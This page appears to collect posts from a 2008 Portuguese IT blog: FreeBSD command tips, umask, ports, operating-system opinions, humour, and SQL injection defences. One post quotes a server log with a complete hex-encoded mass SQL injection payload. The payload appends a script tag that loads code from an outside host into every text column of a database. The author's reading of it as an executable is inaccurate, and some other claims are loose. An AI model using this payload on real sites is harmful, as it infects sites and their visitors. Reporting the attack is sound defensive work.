FreeBSD: Como montar uma imagem ISO

Filed Under (freebsd) by EliRios on 15-07-2008

Tagged Under : , , ,

Para montar uma imagem ISO, use o comando mdconfig. A man page pode dar mais informações sobre esse comando, mas para nosso caso será assim:

mdconfig -a -t vnode -f image.iso

Você agora pode ver:

md0

(Assumindo que é o primeiro disco. O segundo será obviamente md1)

Então vamos ver como montar um disco como cdrom

mount_cd9660 /dev/md0 /mnt

O dispositivo será então montado como se fosse um CDROM. Para liberar, use o -d para desatachar (e -u para unidade)

mdconfig -d -u 0

0, lógico, refere-se ao número da unidade. Se for md1, então use mdconfig -d -u 1.

umask - o que é isso?

Filed Under (freebsd, linux, unix) by EliRios on 04-07-2008

Tagged Under : , , ,

Muito comum em sistemas unix like, o umask (user file creation mode mask) é uma função POSIX que afeta a máscara de permissão que o arquivo é criado.

É simples. Para arquivos, acesso total se tem como permissão 666(rw-) e para diretórios 777(rwx). O valor de umask deve ser calculado assim:

<acesso total> - <valor da permissão> = <valor umask>

Exemplo:

666 - 664 = 002 => gera arquivos que o usuário e o grupo tem acesso total e que todos tem acesso somente leitura.

Importante: O comando umask define um novo umask somente para sessão atual. Programas daemon de ftp também usam para definir parâmetros de criação de arquivos, assim como o samba

Fontes:

http://en.wikipedia.org/wiki/Umask

http://www.tech-faq.com/lang/pt/umask.shtml

http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=6994&pagina=2

FreeBSD - como gerar uma senha aleatória

Filed Under (freebsd) by EliRios on 03-07-2008

Tagged Under : , , ,

Para gerar uma senha aleatória para um usuário (com o usuário já existente no sistema, já que se não existe, o script adduser já fornece a opção de criação de senha aleatória) pode-se usar o comando pw:

pw usermod -w random

onde:

  • pw - cria, remove, modifica e mostra usuários e grupos do sistema;
  • usermod - define que o comando pw será usado para modificar um usuário;
  • - nome do usuário para gerar a senha aleatória;
  • -w - define que será editada a senha de um usuário já existente no sistema;
  • random - define que o método de edição será a geração aleatória da senha.

Erro 404

Filed Under (humor) by EliRios on 02-07-2008

Tagged Under : ,

O Erro 404 é um antigo demônio asteca que foi aprisionado pelo Príncipe Charles séculos atrás. Ele permaneceu preso até começar a era da internet, quando os desastrados experientes programadores da Microsoft o libertaram. Hoje esse demônio assombra toda a internet, espalhando o terror aos incautos internautas que navegam por mares nunca antes navegados. (desciclopedia).

A RFC 2616 explica:

404 Not Found

The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address. This status code is commonly used when the server does not wish to reveal exactly why the request has been refused, or when no other response is applicable.

Resumindo, o arquivo não existe no servidor, não foi encontrado, só isso…

Suporte Medieval

Filed Under (humor, video) by EliRios on 02-07-2008

Tagged Under : , , ,

Para quem não é da área, é mais ou menos assim acontece (video abaixo). Desculpe a brincadeira, mas informática para usuário é assim - só precisa somente saber ler e ter um pouco de paciência.

Eu como analista tenho que ler livros e livros, acessar blogs, fóruns, sites de suporte. Preciso ligar para empresas, falar com outros suportes, assistir palestras. O usuário só precisa perder o medo do computador e ter um pouco de paciência para ler as mensagens do monitor e lembrar um pouco das orientações do suporte.

Como exemplo um sonoplasta na Rádio Cultura aqui da fundação que trabalho: ele conheceu toda a história da rádio no Brasil, editou áudio de todas as formas possíveis e hoje usa um computador para isso. Grande Lenine.

Abrir a mente, esvaziar a xícara, chame como quiser. A tecnologia só facilita se você deixar ela entrar na sua vida.

SQL Injection - o retorno

Filed Under (seurança) by EliRios on 01-07-2008

Tagged Under : , ,

Hacker bom é .. hacker bom. Gosto dos desafios de criar um sistema um pouco mais seguro.

Postei a alguns dias sobre SQL Injection. Conversando com colegas e amigos de profissão, chegamos a essa lista de soluções:

  • administração em outro link (URI), mantendo no site com um usuário e permissão read e no admin com permissão full (com por exemplo em uma intranet)
  • store procedure (melhor solução)
  • passagem por variáveis para montar as queries. Antes de montar a query, um filtro no programa
  • soluções for dummies no meu post acima linkado

Breve, rápido, simples assim. Desenvolvimento e infra trabalhando juntos.

Ports - Primeira visão no FreeBSD

Filed Under (freebsd) by EliRios on 30-06-2008

Tagged Under : ,

Como bom usuário Slackware que sou, sempre instalava-o zerado e compilava o servidor que queria rodar nele. Aprendi isso com um guru que eu tinha para Linux, um amigo que apelidamos de Jesus, dizia que assim o sistema ficaria leve, personalizado e tudo mais.

Bom, cresci (profissionalmente), tive contatos com outros gurus de informática e aprendi que antes de “leveza”, mais importante era estabilidade.

Quando se compila algum programa, fica complicado sua atualização, durante a complicação você pode perceber que há uma dependência de outra lib ou programa para continuar poder compilar, deve-se pensar em muitos detalhes para rodar o “configure” da instalação, o sistema pode ficar instável, entre mais alguma coisa que possa ter esquecido.

Já instaladores de pacotes (rpm, apt-get, etc) instalam programas que foram testados e retestados pelos mantedores das distros (mas não em todas distros), mas como são binários, não podem ser personalizados.

Conheci então com o Renato o ports (Ports Collection)do FreeBSD. É uma estrutura baseada em Makefiles, diferente do apt-get, rpm, yum, etc, onde os pacotes são baixados da internet no seu formato código-fonte e não em binário. O legal do ports é que ele, além de baixar os sources e compilar, ele também baixa e compila todas as dependências para a instalação.

Vou descrever então como monto um servidor FreeBSD, usando o disco 1 do sistema operacional com o ports. Fácil, instalo o FreeBSD com a opção Custom, onde escolho somente os módulos para User, acesso o site http://www.freebsd.org/ports/ para pesquisar o software que quero instalar, acesso a pasta que indicada com o make de instalação.

Chegou no diretório, agora é fácil fácil: rode make && make install clean. Ele vai exibir uma tela de configuração dos módulo e então vai fazer o download do source, checar dependências, fazer download das dependências, compilar dependências e compilar o módulo, tudo sozinho. Lógico que tem o tempo do donwload, mas nada que mate não.

Assim, a grande vantagem é a personalização do pacote, coisa que não se tem com o apt-get e rpm da vida.

Ah, e se quiser desisntalar algo, no diretório do programa no ports, rode make deinstall. Muito fácil.

Estou adorando FreeBSD…

Sobre sistemas operacionais - minha opinião atual

Filed Under (freebsd, linux, macos, unix, windows) by EliRios on 30-06-2008

Tagged Under : , , , , ,

Todo mundo fala, opina e retruca, mas não sou “xiita”.
Assim como as pessoas, cada sistema operacional tem algo de bom a oferecer.
Descrevo o que acho:

FreeBSD

FreeBSD

Ágil, leve, rápido e robusto, tem como ponto forte sua segurança, padronização e boa documentação. A primeira coisa que me chamou atenção nele foi o ports: um gerenciador de instalação fácil e rápido. Outro ponto forte é a velocidade para se colocar qualquer serviço no ar - levei 15 minutos para instalar um serviço de http com Apache, sem muitos ajustes, em um servidor sem sistema operacional. Seu ponto fraco fica em sua baixa compatibilidade de hardware, já que só e mantido pela Berkeley. Recomendo para serviços de rede, nunca para desktop.

Linux

Com o mundo todo programando, tem amplo suporte a hardware e uma grande gama de softwares livres a la carte. E o sistema mais integrado ao protocolo TCP/IP, tendo, no meu ponto de vista, a melhor implementação. Muito customizável, sendo isso sua fraqueza e sua fortaleza.
Pelo Linux ser o seu kernel e ser aberto, há muitas distribuições com suas próprias padronizações (ou com a falta dela), o que torna o uso para o leigo um inferno. Para esses indico o Ubuntu, Debian ou ate mesmo Red Hat.
Fácil de programar, leve, versátil e robusto, há distros para todos os gostos.
Recomendo para firewalls e desktops (Ubuntu). Bom também como servidor:
- se o que procura for velocidade, Slackware. Ótimo para firewalls;
- se for novidade, Fedora no seu constante estado beta. Ótimo para programadores;
- se for usabilidade (entendi esse termo com meu amigo, Hodney) e compatibilidade de hardware, Ubuntu. Muito bom para leigos, curiosos e marinheiros de primeira viagem,
- serviços, Debian ou Red Hat.

Mac OS X

Usabilidade e design definem o sistema. E ao contrário do que se pensa, não é só para designers e gente moderninha - é um sistema muito rápido, estável, compatível com outros sistemas, amigável, além de gerenciável por se basear em Unix.
Ainda não oferece bons servidores, mas não importa - é tão compatível que não faz falta.
Seus pontos negativos que percebi até agora são somente rodar em computadores Mac e um editor de apresentações nativo (alguma coisa com Key no nome) pobre de recursos, mas que nada que uma instalação de um Open Office não resolva.
Para mim, o melhor como desktop.

Windows

Muitos vão rir. Até eu nunca pensei antes em dizer isso, mas ele funciona.
Mas calma, que explico minha teoria - ele funciona, mas no estado que chamo de “travado”. Por causa de sua estrutura de bibliotecas, se instalarem muitos programas, o sistema acaba ficando instável. Ideal rodando poucos programas, sem muitas instalações, desinstalações e reinstalações.
E também a plataforma ainda mais rica em quantidade de jogos.
Como servidor, sua versão server tem o ótimo recurso chamado Active Directory, ou AD, perfeito para ambientes corporativos.
Um bom desktop, se não houver muitas instalações, uma boa estação para jogos, com muitos títulos. E é um bom servidor corporativo.
Li há pouco tempo sobre o servidor Samba 4 (para Linux, FreeBSD e outros Unix like), ainda em estado alpha. Promete um AD, o que é bom, para que haja um rival ao Windows Server.

Solaris, Beos, HPUX e outros.

Não usei ou não vi ainda a fundo outros sistemas. Quando tiver algum contato, posto aqui.

Conclusão

Não se pode ser um “xiita” nesse assunto. Para uso pessoal ou corporativo, deve-se estudar a aplicação para melhor escolha.

Sobre esse texto

  1. Essa é uma opinião pessoal, por isso não definitiva. Não pretendo aqui nada mais que expressar minha opinião atual, por isso comentários serão bem vindos.
  2. E esse texto foi todo escrito em um velho Palm Vx, em toda minha ansiedade por blogar.

MS ataca injeção de SQL em sites

Filed Under (iis, windows) by EliRios on 26-06-2008

Tagged Under : , , , , ,

Recebi no meu e-mail agorinha:

A Microsoft liberou esta semana ferramentas para combater ataques por injeção de SQL em web sites.

Recentemente, atacantes invadiram sites legítimos que usam o SQL da Microsoft e injetaram nas páginas códigos maliciosos em JavaScript. Esses códigos redirecionam o browser para servidores que abrigam programas nocivos e infectam a máquina do visitante.

Voltada para desenvolvedores web, as novas ferramentas são gratuitas e objetivam prevenir esse tipo de ataque. São três aplicações. A primeira é HP Scrawlr. Desenvolvida pela HP, identifica se o site é suscetível a injeção de SQL.

Outro produto é o URL Scan 3.0 Beta, da própria Microsoft, que tem a função de defesa. O URL Scan restringe os tipos de requisições HTTP que o servidor IIS processa. O produto pode ser instalado no IIS 5.1 e versões posteriores.

Por fim, vem o Source Code Analyzer for SQL Injection, ferramenta também assinada pela Microsoft. Seu objetivo é detectar códigos ASP e ASP.net vulneráveis a ataques de injeção de SQL. Detalhes técnicos sobre os três produtos encontram-se no boletim de segurança 954462(link), de 24 de junho de 2008.

Já vi isso acontecer, no log do servidor achei isso:

189.104.14.173 - - [dd/M/Year:hh:mm:ss -0300] “GET /script.asp?id=23;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×44
45434C415245204054205641524348415228323535292C40432056415243484152
2832353529204445434C415245205461626C655F437572736F7220435552534F52
20464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379
736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69
643D622E696420414E4420612E78747970653D27752720414E442028622E787479
70653D3939204F5220622E78747970653D3335204F5220622E78747970653D3233
31204F5220622E78747970653D31363729204F50454E205461626C655F43757273
6F72204645544348204E4558542046524F4D205461626C655F437572736F722049
4E544F2040542C4043205748494C4528404046455443485F5354415455533D3029
20424547494E20455845432827555044415445205B272B40542B275D2053455420
5B272B40432B275D3D525452494D28434F4E564552542856415243484152283430
3030292C5B272B40432B275D29292B27273C736372697074207372633D68747470
3A2F2F7777772E6462757064722E636F6D2F622E6A733E3C2F7363726970743E27
272729204645544348204E4558542046524F4D205461626C655F437572736F7220
494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72
204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR
(4000));EXEC(@S);– HTTP/1.1″ 500 731

Lógico que esse IIS tem um reverse proxy na frente por segurança. Dá para ver claramente o que o atacante tentou fazer: declara uma variável “S” como varchar(4000), seta o valor dela com uma sequência hexadecimal, provavelmente um executável, e no fim dá um exec(s) para executar o código no servidor.

Não funciona esse ataque quando o usuário SQL só tem permissão para read no banco.

Link: blog GEEKS

Filed Under (link) by EliRios on 25-06-2008

Tagged Under : , , ,

Pois é, agora adotei mesmo esse costume de blogar. Estou participando de outro blog: GEEKS.BLOG.BR.

Mantido por mim, Jairo Molina, Fúlvio Oliveira, Marga e Alexandre Martins, falamos sobre o que é ser Geek, sobre o que “gostamos”, coisas que nos chamam atenção.

Trabalhamos a um tempo atrás no provedor Intermol, em Mogi das Cruzes. Sempre preocupados em ser referência na região na qualidade de serviços prestados, criamos juntos um forte nome na região, na época do acesso discado. O diferencial era foco no cliente.

Enfim, cada um continuou com sua vida, mas os profissionais que conheci nunca serão esquecidos.

Aprendi lá a importância de ser transparente com os clientes internos e externos de uma empresa, entre outras coisas. Grande escola.

Bom, chega de saudosismo. Fica o convite: http://geeks.blog.br